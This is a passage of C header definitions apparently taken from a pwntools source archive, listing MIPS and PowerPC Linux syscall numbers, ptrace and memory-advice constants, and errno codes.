MS_SYNC 0x0004 #define MCL_CURRENT 1 #define MCL_FUTURE 2 #define MCL_ONFAULT 4 #define MADV_NORMAL 0x0 #define MADV_RANDOM 0x1 #define MADV_SEQUENTIAL 0x2 #define MADV_WILLNEED 0x3 #define MADV_DONTNEED 0x4 #define MAP_ANON 0x0800 #define MAP_FILE 0 #define POSIX_MADV_NORMAL 0x0 #define POSIX_MADV_SEQUENTIAL 0x2 #define POSIX_MADV_RANDOM 0x1 #define POSIX_MADV_WILLNEED 0x3 #define POSIX_MADV_DONTNEED 0x4 #define PTRACE_TRACEME 0 #define PTRACE_PEEKTEXT 1 #define PTRACE_PEEKDATA 2 #define PTRACE_PEEKUSR 3 #define PTRACE_PEEKUSER 3 #define PTRACE_POKETEXT 4 #define PTRACE_POKEDATA 5 #define PTRACE_POKEUSR 6 #define PTRACE_POKEUSER 6 #define PTRACE_CONT 7 #define PTRACE_KILL 8 #define PTRACE_SINGLESTEP 9 #define PTRACE_ATTACH 0x10 #define PTRACE_DETACH 0x11 #define PTRACE_SYSCALL 24 #define PTRACE_GETEVENTMSG 0x4201 #define PTRACE_GETSIGINFO 0x4202 #define PTRACE_SETSIGINFO 0x4203 #define PTRACE_O_TRACESYSGOOD 0x00000001 #define PTRACE_O_TRACEFORK 0x00000002 #define PTRACE_O_TRACEVFORK 0x00000004 #define PTRACE_O_TRACECLONE 0x00000008 #define PTRACE_O_TRACEEXEC 0x00000010 #define PTRACE_O_TRACEVFORKDONE 0x00000020 #define PTRACE_O_TRACEEXIT 0x00000040 #define PTRACE_O_MASK 0x0000007f #define PTRACE_EVENT_FORK 1 #define PTRACE_EVENT_VFORK 2 #define PTRACE_EVENT_CLONE 3 #define PTRACE_EVENT_EXEC 4 #define PTRACE_EVENT_VFORK_DONE 5 #define PTRACE_EVENT_EXIT 6 #define PT_TRACE_ME 0 #define PT_READ_I 1 #define PT_READ_D 2 #define PT_READ_U 3 #define PT_WRITE_I 4 #define PT_WRITE_D 5 #define PT_WRITE_U 6 #define PT_CONTINUE 7 #define PT_KILL 8 #define PT_STEP 9 #define PT_ATTACH 0x10 #define PT_DETACH 0x11 #define FPR_BASE 32 #define PC 64 #define CAUSE 65 #define BADVADDR 66 #define MMHI 67 #define MMLO 68 #define FPC_CSR 69 #define FPC_EIR 70 #define DSP_BASE 71 #define DSP_CONTROL 77 #define ACX 78 #define SYS_accept (4000 + 168) #define SYS_accept4 (4000 + 334) #define SYS_access (4000 + 33) #define SYS_acct (4000 + 51) #define SYS_add_key (4000 + 280) #define SYS_adjtimex (4000 + 124) #define SYS_afs_syscall (4000 + 137) #define SYS_alarm (4000 + 27) #define SYS_bdflush (4000 + 134) #define SYS_bind (4000 + 169) #define SYS_bpf (4000 + 355) #define SYS_break (4000 + 17) #define SYS_brk (4000 + 45) #define SYS_cachectl (4000 + 148) #define SYS_cacheflush (4000 + 147) #define SYS_capget (4000 + 204) #define SYS_capset (4000 + 205) #define SYS_chdir (4000 + 12) #define SYS_chmod (4000 + 15) #define SYS_chown (4000 + 202) #define SYS_chroot (4000 + 61) #define SYS_clock_adjtime (4000 + 341) #define SYS_clock_adjtime64 (4000 + 405) #define SYS_clock_getres (4000 + 264) #define SYS_clock_getres_time64 (4000 + 406) #define SYS_clock_gettime (4000 + 263) #define SYS_clock_gettime64 (4000 + 403) #define SYS_clock_nanosleep (4000 + 265) #define SYS_clock_nanosleep_time64 (4000 + 407) #define SYS_clock_settime (4000 + 262) #define SYS_clock_settime64 (4000 + 404) #define SYS_clone (4000 + 120) #define SYS_clone3 (4000 + 435) #define SYS_close (4000 + 6) #define SYS_connect (4000 + 170) #define SYS_copy_file_range (4000 + 360) #define SYS_creat (4000 + 8) #define SYS_create_module (4000 + 127) #define SYS_delete_module (4000 + 129) #define SYS_dup (4000 + 41) #define SYS_dup2 (4000 + 63) #define SYS_dup3 (4000 + 327) #define SYS_epoll_create (4000 + 248) #define SYS_epoll_create1 (4000 + 326) #define SYS_epoll_ctl (4000 + 249) #define SYS_epoll_pwait (4000 + 313) #define SYS_epoll_wait (4000 + 250) #define SYS_eventfd (4000 + 319) #define SYS_eventfd2 (4000 + 325) #define SYS_execve (4000 + 11) #define SYS_execveat (4000 + 356) #define SYS_exit (4000 + 1) #define SYS_exit_group (4000 + 246) #define SYS_faccessat (4000 + 300) #define SYS_fadvise64 (4000 + 254) #define SYS_fallocate (4000 + 320) #define SYS_fanotify_init (4000 + 336) #define SYS_fanotify_mark (4000 + 337) #define SYS_fchdir (4000 + 133) #define SYS_fchmod (4000 + 94) #define SYS_fchmodat (4000 + 299) #define SYS_fchown (4000 + 95) #define SYS_fchownat (4000 + 291) #define SYS_fcntl (4000 + 55) #define SYS_fcntl64 (4000 + 220) #define SYS_fdatasync (4000 + 152) #define SYS_fgetxattr (4000 + 229) #define SYS_finit_module (4000 + 348) #define SYS_flistxattr (4000 + 232) #define SYS_flock (4000 + 143) #define SYS_fork (4000 + 2) #define SYS_fremovexattr (4000 + 235) #define SYS_fsconfig (4000 + 431) #define SYS_fsetxattr (4000 + 226) #define SYS_fsmount (4000 + 432) #define SYS_fsopen (4000 + 430) #define SYS_fspick (4000 + 433) #define SYS_fstat (4000 + 108) #define SYS_fstat64 (4000 + 215) #define SYS_fstatat64 (4000 + 293) #define SYS_fstatfs (4000 + 100) #define SYS_fstatfs64 (4000 + 256) #define SYS_fsync (4000 + 118) #define SYS_ftime (4000 + 35) #define SYS_ftruncate (4000 + 93) #define SYS_ftruncate64 (4000 + 212) #define SYS_futex (4000 + 238) #define SYS_futex_time64 (4000 + 422) #define SYS_futimesat (4000 + 292) #define SYS_getcpu (4000 + 312) #define SYS_getcwd (4000 + 203) #define SYS_getdents (4000 + 141) #define SYS_getdents64 (4000 + 219) #define SYS_getegid (4000 + 50) #define SYS_geteuid (4000 + 49) #define SYS_getgid (4000 + 47) #define SYS_getgroups (4000 + 80) #define SYS_getitimer (4000 + 105) #define SYS_get_kernel_syms (4000 + 130) #define SYS_get_mempolicy (4000 + 269) #define SYS_getpeername (4000 + 171) #define SYS_getpgid (4000 + 132) #define SYS_getpgrp (4000 + 65) #define SYS_getpid (4000 + 20) #define SYS_getpmsg (4000 + 208) #define SYS_getppid (4000 + 64) #define SYS_getpriority (4000 + 96) #define SYS_getrandom (4000 + 353) #define SYS_getresgid (4000 + 191) #define SYS_getresuid (4000 + 186) #define SYS_getrlimit (4000 + 76) #define SYS_get_robust_list (4000 + 310) #define SYS_getrusage (4000 + 77) #define SYS_getsid (4000 + 151) #define SYS_getsockname (4000 + 172) #define SYS_getsockopt (4000 + 173) #define SYS_gettid (4000 + 222) #define SYS_gettimeofday (4000 + 78) #define SYS_getuid (4000 + 24) #define SYS_getxattr (4000 + 227) #define SYS_gtty (4000 + 32) #define SYS_idle (4000 + 112) #define SYS_init_module (4000 + 128) #define SYS_inotify_add_watch (4000 + 285) #define SYS_inotify_init (4000 + 284) #define SYS_inotify_init1 (4000 + 329) #define SYS_inotify_rm_watch (4000 + 286) #define SYS_io_cancel (4000 + 245) #define SYS_ioctl (4000 + 54) #define SYS_io_destroy (4000 + 242) #define SYS_io_getevents (4000 + 243) #define SYS_ioperm (4000 + 101) #define SYS_io_pgetevents (4000 + 368) #define SYS_io_pgetevents_time64 (4000 + 416) #define SYS_iopl (4000 + 110) #define SYS_ioprio_get (4000 + 315) #define SYS_ioprio_set (4000 + 314) #define SYS_io_setup (4000 + 241) #define SYS_io_submit (4000 + 244) #define SYS_io_uring_enter (4000 + 426) #define SYS_io_uring_register (4000 + 427) #define SYS_io_uring_setup (4000 + 425) #define SYS_ipc (4000 + 117) #define SYS_kcmp (4000 + 347) #define SYS_kexec_load (4000 + 311) #define SYS_keyctl (4000 + 282) #define SYS_kill (4000 + 37) #define SYS_lchown (4000 + 16) #define SYS_lgetxattr (4000 + 228) #define SYS_link (4000 + 9) #define SYS_linkat (4000 + 296) #define SYS_Linux 4000 #define SYS_listen (4000 + 174) #define SYS_listxattr (4000 + 230) #define SYS_llistxattr (4000 + 231) #define SYS__llseek (4000 + 140) #define SYS_lock (4000 + 53) #define SYS_lookup_dcookie (4000 + 247) #define SYS_lremovexattr (4000 + 234) #define SYS_lseek (4000 + 19) #define SYS_lsetxattr (4000 + 225) #define SYS_lstat (4000 + 107) #define SYS_lstat64 (4000 + 214) #define SYS_madvise (4000 + 218) #define SYS_mbind (4000 + 268) #define SYS_membarrier (4000 + 358) #define SYS_memfd_create (4000 + 354) #define SYS_migrate_pages (4000 + 287) #define SYS_mincore (4000 + 217) #define SYS_mkdir (4000 + 39) #define SYS_mkdirat (4000 + 289) #define SYS_mknod (4000 + 14) #define SYS_mknodat (4000 + 290) #define SYS_mlock (4000 + 154) #define SYS_mlock2 (4000 + 359) #define SYS_mlockall (4000 + 156) #define SYS_mmap (4000 + 90) #define SYS_mmap2 (4000 + 210) #define SYS_modify_ldt (4000 + 123) #define SYS_mount (4000 + 21) #define SYS_move_mount (4000 + 429) #define SYS_move_pages (4000 + 308) #define SYS_mprotect (4000 + 125) #define SYS_mpx (4000 + 56) #define SYS_mq_getsetattr (4000 + 276) #define SYS_mq_notify (4000 + 275) #define SYS_mq_open (4000 + 271) #define SYS_mq_timedreceive (4000 + 274) #define SYS_mq_timedreceive_time64 (4000 + 419) #define SYS_mq_timedsend (4000 + 273) #define SYS_mq_timedsend_time64 (4000 + 418) #define SYS_mq_unlink (4000 + 272) #define SYS_mremap (4000 + 167) #define SYS_msgctl (4000 + 402) #define SYS_msgget (4000 + 399) #define SYS_msgrcv (4000 + 401) #define SYS_msgsnd (4000 + 400) #define SYS_msync (4000 + 144) #define SYS_munlock (4000 + 155) #define SYS_munlockall (4000 + 157) #define SYS_munmap (4000 + 91) #define SYS_name_to_handle_at (4000 + 339) #define SYS_nanosleep (4000 + 166) #define SYS__newselect (4000 + 142) #define SYS_nfsservctl (4000 + 189) #define SYS_nice (4000 + 34) #define SYS_open (4000 + 5) #define SYS_openat (4000 + 288) #define SYS_openat2 (4000 + 437) #define SYS_open_by_handle_at (4000 + 340) #define SYS_open_tree (4000 + 428) #define SYS_pause (4000 + 29) #define SYS_perf_event_open (4000 + 333) #define SYS_personality (4000 + 136) #define SYS_pidfd_getfd (4000 + 438) #define SYS_pidfd_open (4000 + 434) #define SYS_pidfd_send_signal (4000 + 424) #define SYS_pipe (4000 + 42) #define SYS_pipe2 (4000 + 328) #define SYS_pivot_root (4000 + 216) #define SYS_pkey_alloc (4000 + 364) #define SYS_pkey_free (4000 + 365) #define SYS_pkey_mprotect (4000 + 363) #define SYS_poll (4000 + 188) #define SYS_ppoll (4000 + 302) #define SYS_ppoll_time64 (4000 + 414) #define SYS_prctl (4000 + 192) #define SYS_pread64 (4000 + 200) #define SYS_preadv (4000 + 330) #define SYS_preadv2 (4000 + 361) #define SYS_prlimit64 (4000 + 338) #define SYS_process_vm_readv (4000 + 345) #define SYS_process_vm_writev (4000 + 346) #define SYS_prof (4000 + 44) #define SYS_profil (4000 + 98) #define SYS_pselect6 (4000 + 301) #define SYS_pselect6_time64 (4000 + 413) #define SYS_ptrace (4000 + 26) #define SYS_putpmsg (4000 + 209) #define SYS_pwrite64 (4000 + 201) #define SYS_pwritev (4000 + 331) #define SYS_pwritev2 (4000 + 362) #define SYS_query_module (4000 + 187) #define SYS_quotactl (4000 + 131) #define SYS_read (4000 + 3) #define SYS_readahead (4000 + 223) #define SYS_readdir (4000 + 89) #define SYS_readlink (4000 + 85) #define SYS_readlinkat (4000 + 298) #define SYS_readv (4000 + 145) #define SYS_reboot (4000 + 88) #define SYS_recv (4000 + 175) #define SYS_recvfrom (4000 + 176) #define SYS_recvmmsg (4000 + 335) #define SYS_recvmmsg_time64 (4000 + 417) #define SYS_recvmsg (4000 + 177) #define SYS_remap_file_pages (4000 + 251) #define SYS_removexattr (4000 + 233) #define SYS_rename (4000 + 38) #define SYS_renameat (4000 + 295) #define SYS_renameat2 (4000 + 351) #define SYS_request_key (4000 + 281) #define SYS_reserved221 (4000 + 221) #define SYS_reserved82 (4000 + 82) #define SYS_restart_syscall (4000 + 253) #define SYS_rmdir (4000 + 40) #define SYS_rseq (4000 + 367) #define SYS_rt_sigaction (4000 + 194) #define SYS_rt_sigpending (4000 + 196) #define SYS_rt_sigprocmask (4000 + 195) #define SYS_rt_sigqueueinfo (4000 + 198) #define SYS_rt_sigreturn (4000 + 193) #define SYS_rt_sigsuspend (4000 + 199) #define SYS_rt_sigtimedwait (4000 + 197) #define SYS_rt_sigtimedwait_time64 (4000 + 421) #define SYS_rt_tgsigqueueinfo (4000 + 332) #define SYS_sched_getaffinity (4000 + 240) #define SYS_sched_getattr (4000 + 350) #define SYS_sched_getparam (4000 + 159) #define SYS_sched_get_priority_max (4000 + 163) #define SYS_sched_get_priority_min (4000 + 164) #define SYS_sched_getscheduler (4000 + 161) #define SYS_sched_rr_get_interval (4000 + 165) #define SYS_sched_rr_get_interval_time64 (4000 + 423) #define SYS_sched_setaffinity (4000 + 239) #define SYS_sched_setattr (4000 + 349) #define SYS_sched_setparam (4000 + 158) #define SYS_sched_setscheduler (4000 + 160) #define SYS_sched_yield (4000 + 162) #define SYS_seccomp (4000 + 352) #define SYS_semctl (4000 + 394) #define SYS_semget (4000 + 393) #define SYS_semtimedop_time64 (4000 + 420) #define SYS_send (4000 + 178) #define SYS_sendfile (4000 + 207) #define SYS_sendfile64 (4000 + 237) #define SYS_sendmmsg (4000 + 343) #define SYS_sendmsg (4000 + 179) #define SYS_sendto (4000 + 180) #define SYS_setdomainname (4000 + 121) #define SYS_setfsgid (4000 + 139) #define SYS_setfsuid (4000 + 138) #define SYS_setgid (4000 + 46) #define SYS_setgroups (4000 + 81) #define SYS_sethostname (4000 + 74) #define SYS_setitimer (4000 + 104) #define SYS_set_mempolicy (4000 + 270) #define SYS_setns (4000 + 344) #define SYS_setpgid (4000 + 57) #define SYS_setpriority (4000 + 97) #define SYS_setregid (4000 + 71) #define SYS_setresgid (4000 + 190) #define SYS_setresuid (4000 + 185) #define SYS_setreuid (4000 + 70) #define SYS_setrlimit (4000 + 75) #define SYS_set_robust_list (4000 + 309) #define SYS_setsid (4000 + 66) #define SYS_setsockopt (4000 + 181) #define SYS_set_thread_area (4000 + 283) #define SYS_set_tid_address (4000 + 252) #define SYS_settimeofday (4000 + 79) #define SYS_setuid (4000 + 23) #define SYS_setxattr (4000 + 224) #define SYS_sgetmask (4000 + 68) #define SYS_shmat (4000 + 397) #define SYS_shmctl (4000 + 396) #define SYS_shmdt (4000 + 398) #define SYS_shmget (4000 + 395) #define SYS_shutdown (4000 + 182) #define SYS_sigaction (4000 + 67) #define SYS_sigaltstack (4000 + 206) #define SYS_signal (4000 + 48) #define SYS_signalfd (4000 + 317) #define SYS_signalfd4 (4000 + 324) #define SYS_sigpending (4000 + 73) #define SYS_sigprocmask (4000 + 126) #define SYS_sigreturn (4000 + 119) #define SYS_sigsuspend (4000 + 72) #define SYS_socket (4000 + 183) #define SYS_socketcall (4000 + 102) #define SYS_socketpair (4000 + 184) #define SYS_splice (4000 + 304) #define SYS_ssetmask (4000 + 69) #define SYS_stat (4000 + 106) #define SYS_stat64 (4000 + 213) #define SYS_statfs (4000 + 99) #define SYS_statfs64 (4000 + 255) #define SYS_statx (4000 + 366) #define SYS_stime (4000 + 25) #define SYS_stty (4000 + 31) #define SYS_swapoff (4000 + 115) #define SYS_swapon (4000 + 87) #define SYS_symlink (4000 + 83) #define SYS_symlinkat (4000 + 297) #define SYS_sync (4000 + 36) #define SYS_sync_file_range (4000 + 305) #define SYS_syncfs (4000 + 342) #define SYS_syscall (4000 + 0) #define SYS__sysctl (4000 + 153) #define SYS_sysfs (4000 + 135) #define SYS_sysinfo (4000 + 116) #define SYS_syslog (4000 + 103) #define SYS_sysmips (4000 + 149) #define SYS_tee (4000 + 306) #define SYS_tgkill (4000 + 266) #define SYS_time (4000 + 13) #define SYS_timer_create (4000 + 257) #define SYS_timer_delete (4000 + 261) #define SYS_timerfd (4000 + 318) #define SYS_timerfd_create (4000 + 321) #define SYS_timerfd_gettime (4000 + 322) #define SYS_timerfd_gettime64 (4000 + 410) #define SYS_timerfd_settime (4000 + 323) #define SYS_timerfd_settime64 (4000 + 411) #define SYS_timer_getoverrun (4000 + 260) #define SYS_timer_gettime (4000 + 259) #define SYS_timer_gettime64 (4000 + 408) #define SYS_timer_settime (4000 + 258) #define SYS_timer_settime64 (4000 + 409) #define SYS_times (4000 + 43) #define SYS_tkill (4000 + 236) #define SYS_truncate (4000 + 92) #define SYS_truncate64 (4000 + 211) #define SYS_ulimit (4000 + 58) #define SYS_umask (4000 + 60) #define SYS_umount (4000 + 22) #define SYS_umount2 (4000 + 52) #define SYS_uname (4000 + 122) #define SYS_unlink (4000 + 10) #define SYS_unlinkat (4000 + 294) #define SYS_unshare (4000 + 303) #define SYS_unused109 (4000 + 109) #define SYS_unused150 (4000 + 150) #define SYS_unused18 (4000 + 18) #define SYS_unused28 (4000 + 28) #define SYS_unused59 (4000 + 59) #define SYS_unused84 (4000 + 84) #define SYS_uselib (4000 + 86) #define SYS_userfaultfd (4000 + 357) #define SYS_ustat (4000 + 62) #define SYS_utime (4000 + 30) #define SYS_utimensat (4000 + 316) #define SYS_utimensat_time64 (4000 + 412) #define SYS_utimes (4000 + 267) #define SYS_vhangup (4000 + 111) #define SYS_vm86 (4000 + 113) #define SYS_vmsplice (4000 + 307) #define SYS_vserver (4000 + 277) #define SYS_wait4 (4000 + 114) #define SYS_waitid (4000 + 278) #define SYS_waitpid (4000 + 7) #define SYS_write (4000 + 4) #define SYS_writev (4000 + 146) Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/linux/powerpc.h000066400000000000000000001136151507273764500252120ustar00rootroot00000000000000#define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_time 13 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_lchown 16 #define __NR_break 17 #define __NR_oldstat 18 #define __NR_lseek 19 #define __NR_getpid 20 #define __NR_mount 21 #define __NR_umount 22 #define __NR_setuid 23 #define __NR_getuid 24 #define __NR_stime 25 #define __NR_ptrace 26 #define __NR_alarm 27 #define __NR_oldfstat 28 #define __NR_pause 29 #define __NR_utime 30 #define __NR_stty 31 #define __NR_gtty 32 #define __NR_access 33 #define __NR_nice 34 #define __NR_ftime 35 #define __NR_sync 36 #define __NR_kill 37 #define __NR_rename 38 #define __NR_mkdir 39 #define __NR_rmdir 40 #define __NR_dup 41 #define __NR_pipe 42 #define __NR_times 43 #define __NR_prof 44 #define __NR_brk 45 #define __NR_setgid 46 #define __NR_getgid 47 #define __NR_signal 48 #define __NR_geteuid 49 #define __NR_getegid 50 #define __NR_acct 51 #define __NR_umount2 52 #define __NR_lock 53 #define __NR_ioctl 54 #define __NR_fcntl 55 #define __NR_mpx 56 #define __NR_setpgid 57 #define __NR_ulimit 58 #define __NR_oldolduname 59 #define __NR_umask 60 #define __NR_chroot 61 #define __NR_ustat 62 #define __NR_dup2 63 #define __NR_getppid 64 #define __NR_getpgrp 65 #define __NR_setsid 66 #define __NR_sigaction 67 #define __NR_sgetmask 68 #define __NR_ssetmask 69 #define __NR_setreuid 70 #define __NR_setregid 71 #define __NR_sigsuspend 72 #define __NR_sigpending 73 #define __NR_sethostname 74 #define __NR_setrlimit 75 #define __NR_getrlimit 76 #define __NR_getrusage 77 #define __NR_gettimeofday 78 #define __NR_settimeofday 79 #define __NR_getgroups 80 #define __NR_setgroups 81 #define __NR_select 82 #define __NR_symlink 83 #define __NR_oldlstat 84 #define __NR_readlink 85 #define __NR_uselib 86 #define __NR_swapon 87 #define __NR_reboot 88 #define __NR_readdir 89 #define __NR_mmap 90 #define __NR_munmap 91 #define __NR_truncate 92 #define __NR_ftruncate 93 #define __NR_fchmod 94 #define __NR_fchown 95 #define __NR_getpriority 96 #define __NR_setpriority 97 #define __NR_profil 98 #define __NR_statfs 99 #define __NR_fstatfs 100 #define __NR_ioperm 101 #define __NR_socketcall 102 #define __NR_syslog 103 #define __NR_setitimer 104 #define __NR_getitimer 105 #define __NR_stat 106 #define __NR_lstat 107 #define __NR_fstat 108 #define __NR_olduname 109 #define __NR_iopl 110 #define __NR_vhangup 111 #define __NR_idle 112 #define __NR_vm86 113 #define __NR_wait4 114 #define __NR_swapoff 115 #define __NR_sysinfo 116 #define __NR_ipc 117 #define __NR_fsync 118 #define __NR_sigreturn 119 #define __NR_clone 120 #define __NR_setdomainname 121 #define __NR_uname 122 #define __NR_modify_ldt 123 #define __NR_adjtimex 124 #define __NR_mprotect 125 #define __NR_sigprocmask 126 #define __NR_create_module 127 #define __NR_init_module 128 #define __NR_delete_module 129 #define __NR_get_kernel_syms 130 #define __NR_quotactl 131 #define __NR_getpgid 132 #define __NR_fchdir 133 #define __NR_bdflush 134 #define __NR_sysfs 135 #define __NR_personality 136 #define __NR_afs_syscall 137 #define __NR_setfsuid 138 #define __NR_setfsgid 139 #define __NR__llseek 140 #define __NR_getdents 141 #define __NR__newselect 142 #define __NR_flock 143 #define __NR_msync 144 #define __NR_readv 145 #define __NR_writev 146 #define __NR_getsid 147 #define __NR_fdatasync 148 #define __NR__sysctl 149 #define __NR_mlock 150 #define __NR_munlock 151 #define __NR_mlockall 152 #define __NR_munlockall 153 #define __NR_sched_setparam 154 #define __NR_sched_getparam 155 #define __NR_sched_setscheduler 156 #define __NR_sched_getscheduler 157 #define __NR_sched_yield 158 #define __NR_sched_get_priority_max 159 #define __NR_sched_get_priority_min 160 #define __NR_sched_rr_get_interval 161 #define __NR_nanosleep 162 #define __NR_mremap 163 #define __NR_setresuid 164 #define __NR_getresuid 165 #define __NR_query_module 166 #define __NR_poll 167 #define __NR_nfsservctl 168 #define __NR_setresgid 169 #define __NR_getresgid 170 #define __NR_prctl 171 #define __NR_rt_sigreturn 172 #define __NR_rt_sigaction 173 #define __NR_rt_sigprocmask 174 #define __NR_rt_sigpending 175 #define __NR_rt_sigtimedwait 176 #define __NR_rt_sigqueueinfo 177 #define __NR_rt_sigsuspend 178 #define __NR_pread 179 #define __NR_pwrite 180 #define __NR_chown 181 #define __NR_getcwd 182 #define __NR_capget 183 #define __NR_capset 184 #define __NR_sigaltstack 185 #define __NR_sendfile 186 #define __NR_getpmsg 187 #define __NR_putpmsg 188 #define __NR_vfork 189 #define __NR_ugetrlimit 190 #define __NR_readahead 191 #define __NR_mmap2 192 #define __NR_truncate64 193 #define __NR_ftruncate64 194 #define __NR_stat64 195 #define __NR_lstat64 196 #define __NR_fstat64 197 #define __NR_pciconfig_read 198 #define __NR_pciconfig_write 199 #define __NR_pciconfig_iobase 200 #define __NR_multiplexer 201 #define __NR_getdents64 202 #define __NR_pivot_root 203 #define __NR_fcntl64 204 #define __NR_madvise 205 #define __NR_mincore 206 #define __NR_gettid 207 #define __NR_tkill 208 #define __NR_setxattr 209 #define __NR_lsetxattr 210 #define __NR_fsetxattr 211 #define __NR_getxattr 212 #define __NR_lgetxattr 213 #define __NR_fgetxattr 214 #define __NR_listxattr 215 #define __NR_llistxattr 216 #define __NR_flistxattr 217 #define __NR_removexattr 218 #define __NR_lremovexattr 219 #define __NR_fremovexattr 220 #define __NR_futex 221 #define __NR_sched_setaffinity 222 #define __NR_sched_getaffinity 223 #define __NR_tuxcall 225 #define __NR_sendfile64 226 #define __NR_io_setup 227 #define __NR_io_destroy 228 #define __NR_io_getevents 229 #define __NR_io_submit 230 #define __NR_io_cancel 231 #define __NR_set_tid_address 232 #define __NR_fadvise64 233 #define __NR_exit_group 234 #define __NR_lookup_dcookie 235 #define __NR_epoll_create 236 #define __NR_epoll_ctl 237 #define __NR_epoll_wait 238 #define __NR_remap_file_pages 239 #define __NR_timer_create 240 #define __NR_timer_settime 241 #define __NR_timer_gettime 242 #define __NR_timer_getoverrun 243 #define __NR_timer_delete 244 #define __NR_clock_settime 245 #define __NR_clock_gettime 246 #define __NR_clock_getres 247 #define __NR_clock_nanosleep 248 #define __NR_swapcontext 249 #define __NR_tgkill 250 #define __NR_utimes 251 #define __NR_statfs64 252 #define __NR_fstatfs64 253 #define __NR_fadvise64_64 254 #define __NR_rtas 255 #define __NR_sys_debug_setcontext 256 #define __NR_mq_open 262 #define __NR_mq_unlink 263 #define __NR_mq_timedsend 264 #define __NR_mq_timedreceive 265 #define __NR_mq_notify 266 #define __NR_mq_getsetattr 267 #define __NR_kexec_load 268 #define __NR_add_key 269 #define __NR_request_key 270 #define __NR_keyctl 271 #define __NR_waitid 272 #define __NR_ioprio_set 273 #define __NR_ioprio_get 274 #define __NR_inotify_init 275 #define __NR_inotify_add_watch 276 #define __NR_inotify_rm_watch 277 #define __NR_spu_run 278 #define __NR_spu_create 279 #define __NR_pselect6 280 #define __NR_ppoll 281 #define __NR_unshare 282 #define __NR_splice 283 #define __NR_tee 284 #define __NR_vmsplice 285 #define __NR_openat 286 #define __NR_mkdirat 287 #define __NR_mknodat 288 #define __NR_fchownat 289 #define __NR_futimesat 290 #define __NR_fstatat64 291 #define __NR_unlinkat 292 #define __NR_renameat 293 #define __NR_linkat 294 #define __NR_symlinkat 295 #define __NR_readlinkat 296 #define __NR_fchmodat 297 #define __NR_faccessat 298 #define __NR_get_robust_list 299 #define __NR_set_robust_list 300 #define __NR_move_pages 301 #define __NR_getcpu 302 #define __NR_epoll_pwait 303 #define __NR_utimensat 304 #define __NR_signalfd 305 #define __NR_timerfd 306 #define __NR_eventfd 307 #define __NR_sync_file_range2 308 #define __NR_fallocate 309 #define __NR_subpage_prot 310 #define __NR_timerfd_settime 311 #define __NR_timerfd_gettime 312 #define __NR_signalfd4 313 #define __NR_eventfd2 314 #define __NR_epoll_create1 315 #define __NR_dup3 316 #define __NR_pipe2 317 #define __NR_inotify_init1 318 #define __NR_perf_event_open 319 #define __NR_preadv 320 #define __NR_pwritev 321 #define __NR_rt_tgsigqueueinfo 322 #define __NR_fanotify_init 323 #define __NR_fanotify_mark 324 #define __NR_prlimit64 325 #define __NR_socket 326 #define __NR_bind 327 #define __NR_connect 328 #define __NR_listen 329 #define __NR_accept 330 #define __NR_getsockname 331 #define __NR_getpeername 332 #define __NR_socketpair 333 #define __NR_send 334 #define __NR_sendto 335 #define __NR_recv 336 #define __NR_recvfrom 337 #define __NR_shutdown 338 #define __NR_setsockopt 339 #define __NR_getsockopt 340 #define __NR_sendmsg 341 #define __NR_recvmsg 342 #define __NR_recvmmsg 343 #define __NR_accept4 344 #define __NR_name_to_handle_at 345 #define __NR_open_by_handle_at 346 #define __NR_clock_adjtime 347 #define __NR_syncfs 348 #define __NR_sendmmsg 349 #define __NR_setns 350 #define __NR_process_vm_readv 351 #define __NR_process_vm_writev 352 #define __NR_finit_module 353 #define __NR_kcmp 354 #define __NR_sched_setattr 355 #define __NR_sched_getattr 356 #define __NR_renameat2 357 #define __NR_seccomp 358 #define __NR_getrandom 359 #define __NR_memfd_create 360 #define __NR_bpf 361 #define __NR_execveat 362 #define __NR_switch_endian 363 #define __NR_userfaultfd 364 #define __NR_membarrier 365 #define __NR_mlock2 378 #define __NR_copy_file_range 379 #define __NR_preadv2 380 #define __NR_pwritev2 381 #define __NR_kexec_file_load 382 #define __NR_statx 383 #define __NR_pkey_alloc 384 #define __NR_pkey_free 385 #define __NR_pkey_mprotect 386 #define __NR_rseq 387 #define __NR_io_pgetevents 388 #define __NR_semget 393 #define __NR_semctl 394 #define __NR_shmget 395 #define __NR_shmctl 396 #define __NR_shmat 397 #define __NR_shmdt 398 #define __NR_msgget 399 #define __NR_msgsnd 400 #define __NR_msgrcv 401 #define __NR_msgctl 402 #define __NR_clock_gettime64 403 #define __NR_clock_settime64 404 #define __NR_clock_adjtime64 405 #define __NR_clock_getres_time64 406 #define __NR_clock_nanosleep_time64 407 #define __NR_timer_gettime64 408 #define __NR_timer_settime64 409 #define __NR_timerfd_gettime64 410 #define __NR_timerfd_settime64 411 #define __NR_utimensat_time64 412 #define __NR_pselect6_time64 413 #define __NR_ppoll_time64 414 #define __NR_io_pgetevents_time64 416 #define __NR_recvmmsg_time64 417 #define __NR_mq_timedsend_time64 418 #define __NR_mq_timedreceive_time64 419 #define __NR_semtimedop_time64 420 #define __NR_rt_sigtimedwait_time64 421 #define __NR_futex_time64 422 #define __NR_sched_rr_get_interval_time64 423 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_clone3 435 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #define MAP_32BIT 0x40 #define INADDR_ANY 0 #define INADDR_BROADCAST 0xffffffff #define INADDR_NONE 0xffffffff #define INADDR_LOOPBACK 0x7f000001 #define EPERM 1 #define ENOENT 2 #define ESRCH 3 #define EINTR 4 #define EIO 5 #define ENXIO 6 #define E2BIG 7 #define ENOEXEC 8 #define EBADF 9 #define ECHILD 10 #define EAGAIN 11 #define ENOMEM 12 #define EACCES 13 #define EFAULT 14 #define ENOTBLK 15 #define EBUSY 16 #define EEXIST 17 #define EXDEV 18 #define ENODEV 19 #define ENOTDIR 20 #define EISDIR 21 #define EINVAL 22 #define ENFILE 23 #define EMFILE 24 #define ENOTTY 25 #define ETXTBSY 26 #define EFBIG 27 #define ENOSPC 28 #define ESPIPE 29 #define EROFS 30 #define EMLINK 31 #define EPIPE 32 #define EDOM 33 #define ERANGE 34 #define EDEADLK 35 #define 